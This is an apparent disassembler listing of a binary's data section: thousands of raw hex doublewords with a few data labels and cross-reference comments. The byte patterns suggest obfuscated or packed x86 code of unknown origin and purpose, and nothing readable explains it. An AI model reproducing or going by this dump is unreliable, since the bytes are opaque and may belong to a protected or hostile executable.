		dd 7D68159h, 0E82AE144h, 0Bh, 90704B3Bh, 1A15A01Bh, 5628B3EBh
		dd 73E78166h, 60585983h, 0CE8h,	0F9F49F00h, 7C14DBB6h
		dd 813EA10Eh, 0CE81669Ah, 50598EE8h, 840Fh, 615F0000h
		dd 0B10AB9FCh, 0CBB093Bh, 0F431472h, 0C181DBB7h, 44281A55h
		dd 6D98166h, 860F91h, 8B000000h, 0B966F9FBh, 0B8669550h
		dd 6E8F3AEh, 0C0000000h, 0E7433527h, 820F5694h,	0
		dd 840F5E5Ah, 8, 28A0Fh, 61600000h, 11E9F9h, 8EBB0000h
		dd 54A36114h, 41EB00DFh, 0EFDD214h, 817824B0h, 0C9FE0FF2h
		dd 0CE810h, 193A0000h, 822CD7B5h, 1707BDA4h, 8B5B8C98h
		dd 14E8F3h, 673E0000h, 7800D638h, 47E6EEB0h, 0D9E0171Fh
		dd 0F1DAD586h, 800FDEF1h, 4, 0B767BA66h, 8780B95Bh, 60F81E61h
		dd 0B3D18B60h, 0E1816130h, 35050C4Ch, 0B1DE8061h, 16B4C58Ah
		dd 54D18160h, 0F570B631h, 0A5C78161h, 6019941Eh, 0FD38B66h
		dd 381h, 0CBB70F00h, 0CE861h, 0F4B30000h, 11BFBF2Dh, 34E28BD5h
		dd 0AE9EE68h, 0C6000000h, 30697E11h, 0F183A7C7h, 0E8605B38h
		dd 0Fh,	750A2184h, 850BFD91h, 1B161B2Eh, 520801FEh, 27B2595Ah
		dd 0D7B70F61h, 0FE9h, 13DAFF00h, 0B19FBAAFh, 0AB30DDBBh
		dd 0F8DE3428h, 5E9B6B7h, 39000000h, 81CBFB10h, 8E0FE58Ah
		dd 7, 1810Fh, 0E8F80000h, 0Dh, 5596AF9Fh, 0BF2E61D9h, 0CA07AA76h
		dd 5800FA1h, 66000000h,	162AC881h, 0E9D38B5Eh, 12h, 4F7327DEh
		dd 36542CF1h, 0DBE42779h, 34E09C52h, 6653BC96h,	5922B9B9h
		dd 0E9D98B66h, 7, 4EF43ECAh, 0E9338EA0h, 6, 321F7C13h
		dd 66609984h, 6661CE8Bh, 66CF2ABEh, 8B82F281h, 2820FFCh
		dd 8B000000h, 2850FD9h,	0B3000000h, 18B0F15h, 0F9000000h
		dd 810FF98Bh, 5, 8A7403B8h, 5E83Ch, 24A20000h, 817DB862h
		dd 4B8298C0h, 0D18B5F24h, 8810Fh, 880F0000h, 2,	0BF0FF98Bh
		dd 0F88B66F3h, 7E9h, 0F4DD1700h, 27C866A7h, 8B6660F9h
		dd 6BEE80FAh, 0FE861h, 62FE0000h, 39B998DAh, 0BD739D3Fh
		dd 1E6F7F8Ch, 0D78060D4h, 5A61F578h, 3840Fh, 0DA800000h
		dd 10E909h, 80C90000h, 1EC87784h, 5C71C17Fh, 282B0EA6h
		dd 0B70FE9B4h, 0C800FF8h, 0E9000000h, 7, 94344EC0h, 51706551h
		dd 2880Fh, 58570000h, 20880F5Bh, 0E8000000h, 6,	6711C11Fh
		dd 0FE981D5h, 7F000000h, 0C9F5DB5Dh, 0F1570E5Ah, 0D8A4FF44h
		dd 665A2B6Bh, 0BEF5D78Bh, 2492319Eh, 0FE9B3B0h,	0C6000000h
		dd 2D468678h, 0BDD3A2C9h, 0BAF0F3ACh, 55B1E57Ah, 0CB818AB5h
		dd 68C29E98h, 46B9F5F8h, 81160B49h, 10C78FEAh, 0DEB70F46h
		dd 5E9h, 7C620000h, 5660C35Ch, 0B05B5E50h, 3DB96184h, 805416FCh
		dd 0EF8172DEh, 414F2236h, 68B0F53h, 0F000000h, 83h, 0F98B5900h
		dd 6E8h, 74965C00h, 0F9F8757h, 0B45AC7B7h, 0FBF525Eh, 5E78EFADh
		dd 0FE8h, 0ECD6AC00h, 0D2480425h, 0B2952189h, 4677C2A0h
		dd 8059D78Bh, 0DE81C7F0h, 4A289B64h, 0F8D78B66h, 0C2BF0FFCh
		dd 9E96060h, 0C4000000h, 10B401F2h, 0BF6D652Ch,	0C6CB8166h
		dd 0BFB261E7h, 8AF78B61h, 66CC8AE7h, 80CDFBBAh,	0FE8CCD0h
		dd 68000000h, 57056594h, 0EF78152Eh, 9F05DD2Eh,	13E93012h
		dd 0C3000000h, 31C300C7h, 0E9775B26h, 0C902D1F9h, 778DD969h
		dd 0E959765Bh, 8, 0C973E9A1h, 50C58AB8h, 4870Fh, 8A560000h
		dd 0EE85EDDh, 60000000h, 2A2811C8h, 2926DF8Ah, 761405D0h
		dd 14E921h, 6B720000h, 0A2EC6545h, 0F427C9D8h, 0C87F4F41h
		dd 59DD9A16h, 8A59332Fh, 0CADF80F9h, 48E0Fh, 0B8660000h
		dd 8166109Dh, 0E9F528E3h, 9, 181ECB32h,	907F678Bh, 60526030h
		dd 8E0F5861h, 0Ch, 7E9h, 376F0E00h, 3315EBE4h, 5880F61h
		dd 51000000h, 5BD8BF0Fh, 0B866E2B0h, 0DB819F26h, 58AE80BEh
		dd 128E0F60h, 0E9000000h, 0Dh, 4599C878h, 0FDF12EFBh, 189387ABh
		dd 6FB160E6h, 8A0Fh, 61610000h,	0FCEB70Fh, 6656FEBFh, 7BFEC181h
		dd 11E95Bh, 5A350000h, 0EA0EB722h, 0E913FCA6h, 0F03C6F4Dh
		dd 0F425C6Dh, 680h, 0ADCF8100h,	60697BC5h, 8A1D7AB8h, 8B66617Eh
		dd 8E9CEh, 0E51B0000h, 674B2013h, 0C68109BFh, 0B486D39h
		dd 0AE8h, 5A546000h, 9AB0842Bh,	0E980A937h, 7, 588218EFh
		dd 5AC64D76h, 51ACB060h, 49BA6159h, 0B773D719h,	0C2BF0F0Ch
		dd 7E9h, 2150EE00h, 0E31E249Eh,	9E8h, 5C1E6700h, 0ADF95D65h
		dd 7E9E724h, 52000000h,	0A7DDB05Dh, 0F5E37F9h, 2D83h, 12E800h
		dd 34C80000h, 5B968DBEh, 56DFFA47h, 5274739Eh, 6EA2B22Fh
		dd 10E9h, 33375400h, 30AC0C66h,	0FF32D0A0h, 83711E42h
		dd 870F5BDBh, 0Fh, 0AE9h, 604BCB00h, 7A489C3Ah,	0F913F98Bh
		dd 59B3EE81h, 0E9601EA6h, 0Bh, 0DC176B94h, 995610DEh, 6093010Bh
		dd 122E281h, 6161382Ah,	0E932B660h, 14h, 0F0DEBC1Ch, 0B3E37Fh
		dd 0BD07737Fh, 0A9BFC778h, 0BF914758h, 8B665761h, 13E859C6h
		dd 0B9000000h, 97DECD67h, 23362EE6h, 0CC3B114Dh, 77146424h
		dd 0DA8184D8h, 34F0C047h, 0CBBF0F58h, 9944C781h, 14E94AD0h
		dd 0AF000000h, 923AB6E6h, 3071EDCCh, 6A830A3Fh,	0C366C00Ah
		dd 6005F5BFh, 9E9h, 2D3A7300h, 6D64EBF5h, 8166A548h, 618C2FC3h
		dd 0F4EF53BAh, 3DD7814Dh, 60575B52h, 18CB8166h,	5661F8C8h
		dd 0E8C88B5Bh, 14h, 6E333FEFh, 8FE03DF1h, 54FDB0BDh, 3C6DD081h
		dd 0BC30F84Eh, 13E9h, 3D52A200h, 8639CC3h, 0F23D3B50h
		dd 11C202A0h, 9D17B2E2h, 0BE66F55Ah, 0DF8B085Dh, 9E9h
		dd 74EDE100h, 0A24556E4h, 0E9F98EB7h, 0Ah, 0A4A5EA37h
		dd 3BA9904Eh, 0D7816FE4h, 6BB6A641h, 2F0FC281h,	0CE8B252Eh
		dd 0A3DE8160h, 0B145F6DCh, 8B666110h, 14E9C2h, 80660000h
		dd 8B56B2BBh, 8EEE2875h, 0E1EC9D1h, 0C5B23853h,	0BE56DCC8h
		dd 3EAB1E67h, 0DE81665Bh, 0F60D569h, 86h, 0BA666100h, 870FF385h
		dd 0Ch,	68A0Fh,	0EE810000h, 146EA4BAh, 5880Fh, 6EBF0000h
		dd 81668818h, 0DEBA8DAh, 18D4BB72h, 0B70F2291h,	0F2B70FC7h
		dd 60D2BF0Fh, 0F99EDBBh, 61CF8B4Ah, 0F5F6BF0Fh,	0EE8h
		dd 0CB805600h, 0BB4E91D4h, 0F810A070h, 525A4312h, 7E8h
		dd 4D84A600h, 0CBECDCh,	57585E5Fh, 5880F5Eh, 0BA000000h
		dd 7BF797E3h, 0C03EBF66h, 0BE9h, 0FF662400h, 23EE9716h
		dd 0A77D5FC5h, 81D28166h, 0CABF0F85h, 79AEBE66h, 0BB66DF8Bh
		dd 6CBEB27Ah, 0F6C0B21h, 0E850F3BFh, 0Ah, 29B31A0Dh, 2C6832FBh
		dd 0B966D29Dh, 5A581DECh, 0F60C88Ah, 8E0FD0BFh,	0
		dd 0AE961h, 0B4DC0000h,	0A56F8C4Dh, 0FEA14E57h,	14E9h
		dd 93845C00h, 87D124E7h, 0BA942729h, 12EE6416h,	4B5C0429h
		dd 0DE8C3h, 19EB0000h, 765565E4h, 3097D800h, 0B3CA9AE5h
		dd 0EB8058FAh, 6E968h, 7DE30000h, 19419603h, 11E8h, 0EE985900h
		dd 68F4B03Eh, 54DD37AEh, 342F44A1h, 8B66D287h, 8AF85EFAh
		dd 9E8EBh, 0A7A90000h, 62AFABC5h, 66B2B821h, 605EC78Bh
		dd 0E18166F9h, 506183DBh, 93A723BAh, 870F5A0Ah,	3, 80CBE680h
		dd 5E93FF7h, 97000000h,	45316028h, 0D86562B9h, 0B70F5100h
		dd 0E95759D1h, 6, 1F0848AAh, 0E85BDBEEh, 0Eh, 0CC1FF6ECh
		dd 1CA60A48h, 43F0B2C5h, 8F0FB870h, 6, 860Fh, 0E9590000h
		dd 7, 0A4D2A550h, 0F317C4Dh, 80h, 6840F00h, 81000000h
		dd 5A7D20CAh, 0ECBA6624h, 535E5786h, 0B86658F9h, 26B9E28Bh
		dd 6022705Fh, 0DE9h, 0ED986E00h, 0BC33F5E5h, 0E1A83C07h
		dd 816180B9h, 1C8DA7C7h, 0F9F18B59h, 10E8h, 0E3696300h
		dd 0EFFE41F5h, 6E86D014h, 3EF4EE2Eh, 5816B37Eh,	13E8h
		dd 0BC00FA00h, 979DFBC2h, 0CE52EDDFh, 0A59968E5h, 625DE451h
		dd 0BF0F5EF8h, 0EE9DBh,	35350000h, 0E326C949h, 9AA01AC8h
		dd 690231C7h, 0D78166F5h, 0F38B75F9h, 13E952h, 8C210000h
		dd 19641703h, 3B1720AFh, 98D6C09Ah, 8B706C05h, 0D781587Fh
		dd 4056FF84h, 0FB8B6660h, 68B0Fh, 8D0F0000h, 0
aAKs		db 'a²ªè',9,0
		align 4
		dd 0E48766BCh, 37CB913Bh, 9CCA81F0h, 58479878h,	88EBCB81h
		dd 816617EFh, 0E95B60CAh, 8, 6E77FAAFh,	16F6950Dh, 392F381h
		dd 5E908F0h, 0D0000000h, 0A9751202h, 67EF8166h,	0F9F08B26h
		dd 816044B1h, 14C491D3h, 14E803h, 90140000h, 0B60BF8BFh
		dd 1FF5F955h, 15E92B35h, 9160C899h, 0D7800BA2h,	66615BF5h
		dd 81F9C28Bh, 7BC67CF2h, 7820F17h, 0F000000h, 182h, 8153F900h
		dd 350B2FEBh, 10E95817h, 0F8000000h, 2B7AE807h,	5121AD64h
		dd 1A844568h, 528795A4h, 80595E51h, 0B16021D2h,	0EF816677h
		dd 0E96154E2h, 7, 0AA8CF211h, 0BF2CC835h, 6419C068h, 68F0Fh
		dd 0E9810000h, 74C78A2Dh, 5810Fh, 0F500000h, 8B5FC3BFh
		dd 0DF8B60C1h, 61FAB70Fh, 0F59DD981h, 59B12E7Dh, 0A56C681h
		dd 6E94580h, 4A000000h,	70A8B3Dh, 0D881666Ah, 8166170Ch
		dd 667D5CDFh, 0D98ACE8Bh, 66DBB70Fh, 5A51F781h,	0D446F1B8h
		dd 0AFC48020h, 0D285EF81h, 850F7D82h, 0Ah, 0C0816660h
		dd 0BF0FF305h, 7E961F0h, 0A9000000h, 809BEA95h,	0E8606AA6h
		dd 9, 0FA269E53h, 194E1FA8h, 8DF381E1h,	5A319075h, 61C18B66h
		dd 735FBA66h, 0E85F5060h
		db 14h
byte_5C3A41	db 2 dup(0)		; DATA XREF: ___:off_42E6F0o
byte_5C3A43	db 0			; DATA XREF: ___:off_433398o
dword_5C3A44	dd 0D45533BCh, 0C25428CBh, 9CDD2FA3h, 49069375h, 0F7E0D5E4h
					; DATA XREF: ___:off_433390o
		dd 5FC1BF0Fh, 0CF2DBF61h, 880F554Eh, 3,	0F5EF557h, 0DBB6C2B7h
		dd 6E9h, 0C6731000h, 60153067h,	0F95F5360h, 0E6816661h
		dd 6661B2A7h, 0F0042BAh, 0D681D7BFh, 3DF1371h, 8A0Fh, 0BF0F0000h
		dd 12E957CBh, 0CC000000h, 0A0B94136h, 0CA0391C3h, 0F0EDE555h
		dd 0D0DFA4D4h, 0F8B35EBBh, 58A0Fh, 81660000h, 813B62EBh
		dd 0BF38BED8h, 0BE90Dh,	8C730000h, 0CEBE5755h, 8855CF79h
		dd 8E955h, 9A3D0000h, 48F0B132h, 0FB5AC4Eh, 2B0CBEFCh
		dd 81666319h, 601A1DE3h, 6E8h, 0B3FD4900h, 0E938C47Ah
		dd 0Ch,	49948C84h, 0F505D3CAh, 878DE953h, 0E5B9665Ah, 0B70F61C6h
		dd 0B7D181C1h, 8129A70Dh, 8C43D9C3h, 17890F10h,	0E9000000h
		dd 12h,	0B649F8EDh, 0F17D596Bh,	3334212h, 86EAEE2Ch, 0E9600420h
		dd 5, 619A42E3h, 0F9C780A9h, 0E9816661h, 14E990E7h, 3C000000h
		dd 51D5F790h, 157C1134h, 0FEA2A21Eh, 6709C2CAh,	8133F35Dh
		dd 35FB2D9h, 6810F4Eh, 81000000h, 7DE535F2h, 22B3510Ah
		dd 8C0FF95Eh, 0Ch, 68F0Fh, 880F0000h, 0
		dd 7E9h, 7B966D00h, 81059753h, 0EE8h, 56CE800h,	0EAF16588h
		dd 0FB90901Fh, 0F3BB04Bh, 118Ch, 0CE900h, 73540000h, 0E665174Ah
		dd 0AFB5E1CCh, 0E959F8CCh, 13h,	5817C760h, 5EB96775h, 0F50E2815h
		dd 91666E8Eh, 0FDED948h, 785h, 1820F00h, 0FC000000h, 0DC82C381h
		dd 850F6DBBh, 5, 57D98166h, 0DE860h, 63E20000h,	58E37676h
		dd 77B49EB1h, 6000A178h, 8E8FD8Ah, 10000000h, 60924635h
		dd 5E34FBFBh, 0EE95E61h, 0E2000000h, 28A5663Ah,	6333227Eh
		dd 1FFEF111h, 0AE944h, 84B40000h, 7DB4CCABh, 232AF3FEh
		dd 10E9h, 61D1D600h, 0DDA053B6h, 0C150CE17h, 22F8C0DCh
		dd 60C38B9Dh, 9E9h, 0DA5D4C00h,	0DADE46E9h, 0BB66F72Ch
		dd 0E961D2C8h, 0Eh, 69C902D1h, 5B778DD9h, 7336FE76h, 12E9FE2Ch
		dd 0B5000000h, 9CBF54C3h, 4DAD58DFh, 29181CEBh,	48AEF3A2h
		dd 18D881ACh, 81550E2Ah, 7B6D39EAh, 81D9B556h, 0D10F43D2h
		dd 11E94Ch, 8F950000h, 5EFD2218h, 0D5EB24B1h, 761FE0EDh
		dd 6696CACAh, 53BAF681h, 16890Fh, 11E90000h, 72000000h
		dd 4FAD12EAh, 0EDD77C8Bh, 0DA3D931Ah, 4D1D4049h, 71E38166h
		dd 860FFC98h, 14h, 0EE8h, 310BE900h, 9AC1661Eh,	67C091AEh
		dd 5B0D3C5Ah, 7E9h, 0ECBE0500h,	0D7D1544Dh, 0C8816651h
		dd 0E85AE7D6h, 10h, 0BA485C93h,	2B8AFE62h, 1EC2B1D4h, 0D5874DF1h
		dd 6E85Fh, 49010000h, 0A900AD9Dh, 0E85AF38Bh, 8, 692CD4B8h
		dd 792B706h, 65162CBBh,	81665B3Ah, 0F6B5FE1h, 0CE9D3B7h
		dd 3D000000h, 22732C56h, 53849C16h, 8B73854Eh, 48F0FC1h
		dd 66000000h, 0E9C003BEh, 5, 0F0DF04A2h, 0BE976h, 0C9280000h
		dd 1C63D0D7h, 0DBE8FED0h, 0FA8B6696h, 0BA6611B4h, 870F4E52h
		dd 5, 95B2D8BAh, 0BE903h, 8A630000h, 0DDC5891Eh, 6728C46Ah
		dd 0F98B6672h, 0CA8BF98Bh, 0E1BFCCB9h, 0C280566Ah, 0B70F5A51h
		dd 58A0FC3h, 0BE000000h, 454F089Dh, 0D860Fh, 5E80000h
		dd 3C000000h, 526C7F93h, 8B5A6160h, 11E9F0h, 34110000h
		dd 0F59B0551h, 54BAE289h, 8A69A8D4h, 0F9B4115Ch, 6870Fh
		dd 0F2810000h, 4B7B04B8h, 0F30AB860h, 0D981017Eh, 50CF52AFh
		dd 0AE961h, 0EE120000h,	28F6EFF0h, 0FADB8C59h, 5670CDBEh
		dd 14E962h, 345C0000h, 0B450DB32h, 0A577B7D1h, 0E863BCAFh
		dd 0FD5ADEC6h, 12E9AA46h, 89000000h, 6713D27Ah,	90805577h
		dd 35EBC4CBh, 0BF9C9F2Fh, 6078B414h, 0ADD2BE66h, 0A66768B8h
		dd 0E8536132h, 14h, 9651C7FAh, 0C85B2117h, 7AA52882h, 746DD8C6h
		dd 0EE546464h, 0F265BE66h, 5E95E5Ah, 99000000h,	0ADCC3FDh
		dd 10E8h, 38A3E500h, 8CE0C462h,	0DD55F2B0h, 0AC225BAh
		dd 0DE8166A8h, 0E959A22Fh, 11h,	0CEDE920Ch, 11F1FA59h
		dd 9983CF77h, 7563F7FEh, 9E8F0h, 93DD0000h, 5E73A8AEh
		dd 8BCF1FAFh, 8B6659FBh, 11E8C8h, 0F35C0000h, 312BBDA0h
		dd 0B646113Eh, 6A4B655Ah, 0F1EB6A2h, 0F5EC9B7h,	388h, 0D68B6600h
		dd 66FB8B66h, 8A32C681h, 0BE960h, 98000000h, 0E16AA8FFh
		dd 706450EBh, 0CFB86693h, 0BF0F61F6h, 0B3ECBEC6h, 14E90659h
		dd 72000000h, 36AF3F7Bh, 0DAAED532h, 6B20F3DCh,	916E13h
		dd 0F5B745ADh, 0BFF18B66h, 3645BE4Ch, 0C88AC68Bh, 11E9h
		dd 6CB79000h, 2E584A4Ah, 2DD35230h, 0AD730D34h,	830F3306h
		dd 18h,	69BB6660h, 0CE8CDh, 8D250000h, 0FD953A8Bh, 0C435FEE7h
		dd 615FCF2Dh, 0AE9C88Bh, 80000000h, 82C1BE20h, 6F9B6727h
		dd 0F940B7FAh, 0CE8h, 0B0EED200h, 20D48C44h, 0F96A1082h
		dd 0BA665B9Ch, 81667C4Ah, 665F02DBh, 8DB1DB81h,	1462BA66h
		dd 0DEBB6660h, 9E9CCh, 0C9ED0000h, 0C1AC2B62h, 615723E0h
		dd 0AE858B1h, 0D7000000h, 0E20752FCh, 27F57198h, 5BEE8A10h
		dd 0E1816660h, 0B70FD136h, 14E861D3h, 0A3000000h, 0AC205E8Ah
		dd 8F790EE4h, 5504103Ch, 854D4FFFh, 0F52BCF0h, 0B95BF6BFh
		dd 5A20E5AEh, 66C3B70Fh, 9A9BE381h, 0EE9h, 0C18D2B00h
		dd 0AA31FF77h, 9653CCF8h, 8A1FA1D1h, 0F493B8CFh, 8160302Ah
		dd 0D7C121F0h, 0BA61F97Bh, 4118630Dh, 0F04B460h, 68Ch
		dd 840F00h, 61000000h, 0BE8F1B2h, 62000000h, 9517072h
		dd 0D300FD4h, 0CF8B43B7h, 0F1BF0F5Fh, 0D08BF58Ah, 0BE9h
		dd 2D806800h, 8C49FE93h, 4EA5F4ABh, 0AE9F8h, 0E01D0000h
		dd 1C9981AFh, 3E359826h, 0E2F18166h, 48A0F45h, 66000000h
		dd 0E856C5BEh, 0Ah, 8562EBCBh, 0D89F0BDFh, 65BB371Ch, 5E2A400Dh
		dd 12E9h, 24454800h, 9E241E3Fh,	35C364B1h, 0E0089377h
		dd 662708E0h, 0B6E8C5BEh, 99F3813Bh, 6625D70Eh,	820FF28Bh
		dd 0
		dd 810FC28Bh, 0Fh, 0AE9h, 0CEB65200h, 0B834B2C1h, 0FCCEC4Fh
		dd 388h, 0FFB70F00h, 0B5B8F681h, 0D3810DACh, 53CA0949h
		dd 0CE9h, 9CFAB200h, 43884308h,	4E5EB008h, 2890FEAh, 8A000000h
		dd 12E9CAh, 0C86C0000h,	0CA8D2A7Dh, 718B72BFh, 3FF26266h
		dd 38A766DCh, 0F52C8B6h, 380h, 0CF8B6600h, 58F0F58h, 66000000h
		dd 40E8D681h, 5B98B353h, 8C0Fh,	0DE90000h, 0B2000000h
		dd 19DCC8C5h, 4DFEAFB7h, 5E1664BEh, 7E983B0h, 8B000000h
		dd 0A4349E31h, 0DF8B9E3Fh, 0E70ED9BEh, 0DBD3811Fh, 0F35DAC5h
		dd 0EE81F2BFh, 634C2C57h, 28B0Fh, 0D68B0000h, 0C2B70F52h
		dd 0C3B6575Eh, 8B66605Bh, 0CE9CBh, 24EC0000h, 4AAA9B84h
		dd 5D2F2338h, 0F961824Bh, 0BE8h, 2493C00h, 535C6C91h, 5C9112E6h
		dd 2881B866h, 26C8805Ah, 0F883C680h, 8BD6BF0Fh,	0B4EDBED1h
		dd 14B675E7h, 0E9F88B66h, 12h, 7F85C2AEh, 67CA456Eh, 62EC2544h
		dd 4756C630h, 81663A8Fh, 0FD6ACDBh, 380h, 0F7B70F00h, 0BE9h
		dd 0AB63ED00h, 4D17623Dh, 0E886E2DDh, 0F60C68Bh, 8B61FFB7h
		dd 816060C2h, 0BF1B7EC3h, 8C0F7Ch, 61000000h, 0F08B6660h
		dd 61615F57h, 0E844DA80h, 0Dh, 46364B41h, 61676DDDh, 0C3754C6Ch
		dd 8ACA8194h, 5E0B08F2h, 5F5221B2h, 2800Fh, 55B60000h
		dd 82A6FCBFh, 0DA22BA4Ch, 81662E8Fh, 664A37E3h,	66D4D5B8h
		dd 0DA81F98Bh, 4A421C03h, 13E9F860h, 0A9000000h, 21E7549h
		dd 16274B60h, 3E587A4Fh, 0CD72A17Ah, 6061C9BBh,	66CF8B66h
		dd 6113EBBBh, 0FCDE8166h, 0DADA814Ch, 0E9742441h, 0Eh
		dd 2BEE6F0Fh, 0B6ADA348h, 509BDA77h, 10E9C8F4h,	52000000h
		dd 17F20A8Ch, 66A7F4DDh, 1ECD27C8h, 0E88AFFAAh,	8, 0CBD16008h
		dd 0BB7126F7h, 0EE9h, 7617B500h, 0EA95A952h, 6AA6809Bh
		dd 5A1A043Fh, 405AD381h, 860F75F5h, 4, 0A9FDBA66h, 93C6B866h
		dd 0B830Fh, 840F0000h, 5, 0F94BBBh, 0BF0FF569h,	5ABA60D6h
		dd 6674D2A8h, 616F42B9h, 13E9h,	813EA100h, 0B3A8EE9Ah
		dd 965EC837h, 4E94DB36h, 0B1639380h, 7E8h, 288BEB00h, 9BA5EB14h
		dd 10E9h, 3C24A400h, 0C6B49F57h, 0F50AA1E2h, 88CEDF62h
		dd 14E859E4h, 0D4000000h, 76C34F55h, 3FAADE96h,	3EE7BD44h
		dd 0CBD7FA0Fh, 0FCB1494Dh, 0F58BE59h, 860F3BDCh, 19h, 11E9FC60h
		dd 6C000000h, 0D49AE719h, 33B05346h, 0B02BB609h, 0F3AB695Bh
		dd 0C7816661h, 57F91F99h, 14E9h, 21C9CA00h, 59708A55h
		dd 2C892744h, 0F943C7CCh, 0C18899Bh, 0B8665BBEh, 0D08A8C1Dh
		dd 0AE8FCh, 0F4600000h,	0DABB2858h, 1F035467h, 8B0Fh, 665A0000h
		dd 0E9BFAEBEh, 0Bh, 4E53849Ch, 93A57385h, 569FBE36h, 0F59AEB7h
		dd 1E84h, 188F0F00h, 0E8000000h, 12h, 0F3771587h, 0D44A1EEDh
		dd 43BFE176h, 0F2A397B1h, 0E85BB296h, 13h, 79EDA472h, 9B23846Ch
		dd 0A435DE3Bh, 2C3B319Eh, 81253766h, 7AC70DD6h,	0E9FC581Fh
		dd 0Eh,	35EDA838h, 91656871h, 0F9EB58CDh, 10E936B3h, 4000000h
		dd 499D0DE6h, 3990BE61h, 0CB794250h, 805CF1DFh,	0C18B65CFh
		dd 675EB866h, 0D88B26B1h, 158A0Fh, 10E90000h, 3E000000h
		dd 241329FBh, 0CBC587BDh, 0B6272BDBh, 6658B449h, 0B47CACBAh
		dd 0D2B8669Dh, 0BFCE8B0Bh, 5C622A74h, 7E9h, 0E9256B00h
		dd 0C212715Fh, 614BB560h, 0D0816660h, 860F8B97h, 0Eh, 9E9h
		dd 0D3F0A200h, 8B3AB9CBh, 0F614939h, 38Fh, 0F8BF0F00h
		dd 0F98BCB8Bh, 85C68156h, 5E3293E1h, 17860Fh, 12E90000h
		dd 0A3000000h, 7EB47740h, 0C5F2C016h, 0B5E29208h, 88BA2EE2h
		dd 0AEDB8150h, 0E9234B89h, 0Dh,	0E0373B52h, 0AC450039h
		dd 0AB6F729Bh, 0F3D08149h, 0E9000270h, 7, 0B4171342h, 0F9EE78DEh
		dd 11E8h, 61653800h, 0FE23B902h, 509D0A59h, 8DE23AA6h
		dd 850F3592h, 3, 5FDBBF0Fh, 7D1CD181h, 0C6813E2Ah, 3E108EC5h
		dd 0BFE2B866h, 18A0Fh, 0FF80000h, 13E8CAB7h, 96000000h
		dd 143EEAB6h, 355C0E91h, 1A6F3BEAh, 0A3E4AF1Dh,	0B866FDE9h
		dd 8A59584Dh, 800F51E3h, 2, 815ED38Bh, 8ACCB1D6h, 0AE963h
		dd 0E9540000h, 46320148h, 483FFE11h, 0BE9h, 31773300h
		dd 0CED9D8D2h, 4E366322h, 870Fh, 51F90000h, 59D08B66h
		dd 2840F53h, 0B2000000h, 0F38A5FCAh, 950D81BFh,	70F68170h
		dd 0F4BFBF8h, 8166FFB7h, 6026D8D3h, 800F60h, 60000000h
		dd 0C1806161h, 0C6816150h, 49267764h, 0AE8h, 446F4500h
		dd 0A3F6286Dh, 0FF73543h, 8Fh, 0FE85F00h, 8A000000h, 8C6AAFFh
		dd 6B1D7E5Dh, 25D9D1FEh, 0AE9A46Fh, 94000000h, 0B3095600h
		dd 14D8A7C6h, 0E9FC585Bh, 6, 0C2866C13h, 880F266Dh, 4
		dd 0B5CB966h, 0EDF8152h, 5E42E247h, 93FCB966h, 0BE9h, 0CC7C7200h
		dd 0C59408B7h, 0A726D5FAh, 1F24B860h, 0DE93BC4h, 2C000000h
		dd 0C323AC8Dh, 2DC519EAh, 65D5B306h, 48A0F61h, 66000000h
		dd 0F93C0B9h, 28Fh, 60D88B00h, 5ED88B50h, 9E851h, 0E6000000h
		dd 9A3725F1h, 58642E44h, 0DF8B615Fh, 7E8h, 97E4E300h, 848B379Ch
		dd 569FDB81h, 0F85E1FB2h, 8B669BB7h, 0D78166C6h, 6660FD5Dh
		dd 0FC17EB9h, 1284h, 0CE800h, 0F3A70000h, 0F76F4E1Dh, 3246D51Ah
		dd 615B48C5h, 66F1BF0Fh, 8ACBE181h, 0FD2BF0Fh, 588h, 0E240BF00h
		dd 9E8008Fh, 90000000h,	0E086AA3Fh, 0C85FAA7Eh,	0C1B70F50h
		dd 0CE85A5Fh, 0A2000000h, 9C39C401h, 0F25B83F1h, 0E90DAEDEh
		dd 0Fh,	0F0ECB36Fh, 0FC1D293Dh,	3859ED0h, 5EA6BF5Eh, 5FEC8A51h
		dd 0B70FD98Bh, 0B86052D1h, 4F3D636Ah, 0D1815861h, 28E81A50h
		dd 85BBC78Bh, 0E84A0737h, 0Eh, 81C29228h, 7985EC36h, 25198A14h
		dd 810F3CAFh, 2, 605BF28Bh, 0F18B6650h,	0F61F55Bh, 8B66F8B7h
		dd 6E9F8D0h, 0BA000000h, 66B06021h, 5860F33h, 56000000h
		dd 58DBBF0Fh, 0D614BF66h, 0D1CFBA66h, 3E13D181h, 0D18B5171h
		dd 0EE8h, 6E5E400h, 770A5B3Bh, 0C1DA45FEh, 583D0D86h, 0C6816650h
		dd 0E95E7E30h, 0Dh, 2FAC39B4h, 0B2FFE26Ch, 208FAD52h, 0F38166B7h
		dd 8A0F6D6Fh, 5, 0ABD45BB8h, 0C1DE8108h, 0BB006754h, 4079EBEBh
		dd 5FE6B451h, 0FE956h, 3A110000h, 0E5F8C9B3h, 0AFA4E4D2h
		dd 9661B145h, 8B665E67h, 0ABC381C3h, 666AD5D7h,	8B66F98Bh
		dd 0F7BF0FF1h, 828925BAh, 880F5046h, 2,	0F5F33B5h, 0E8F8C8B7h
		dd 0Ah,	0F0C7F311h, 0DE27C38Eh,	0D981FDC9h, 2BB6DAA8h
		dd 85BE665Fh, 0CAEB8148h, 0E9380F1Fh, 7, 0A3F7BEDEh, 0F4A8C12h
		dd 180h, 8166F500h, 0E9E422E8h,	10h, 0B33BDE09h, 0D8F65FF8h
		dd 0E11F813Dh, 0B8F6FF06h, 8C0F7CB6h, 8, 2870Fh, 5A560000h
		dd 0F8D96B8h, 5E918h, 7840000h,	0FEE3F34h, 684h, 45E68100h
		dd 6630C4E7h, 8A7C1FB9h, 14E950E8h, 0CE000000h,	0AF23B868h
		dd 0F42D930Ah, 0D10209F7h, 7ECD87F5h, 591B250Dh, 3880Fh
		dd 8B660000h, 66C78BCEh, 81E031B9h, 6EDE8F7h, 66C9B27Dh
		dd 66601DB8h, 6607BEBEh, 0BE35EBBAh
		dd 418A7AAFh, 2EB6CE8Bh, 1EC78166h, 0FE8F929h, 96000000h
		dd 0C98CA7AAh, 5048C203h, 71CB0BFBh, 0F5EC9A6h,	58Dh, 0DE816600h
		dd 0F6811B48h, 0F7B880Bh, 0FE85953h, 4C000000h,	0CF2037FBh
		dd 1BC64F92h, 98945D4Eh, 14E9E463h, 0E2000000h,	0EEE5FC40h
		dd 0F468AA81h, 0E200A0C0h, 0FD5D818Bh, 5F2367FFh, 11E8h
		dd 98504F00h, 0DC4E382Fh, 24765127h, 0F66F47F6h, 5EF8ABA8h
		dd 0F38B66F5h, 0CE9h, 472BBB00h, 677CBB0Ah, 5751F656h
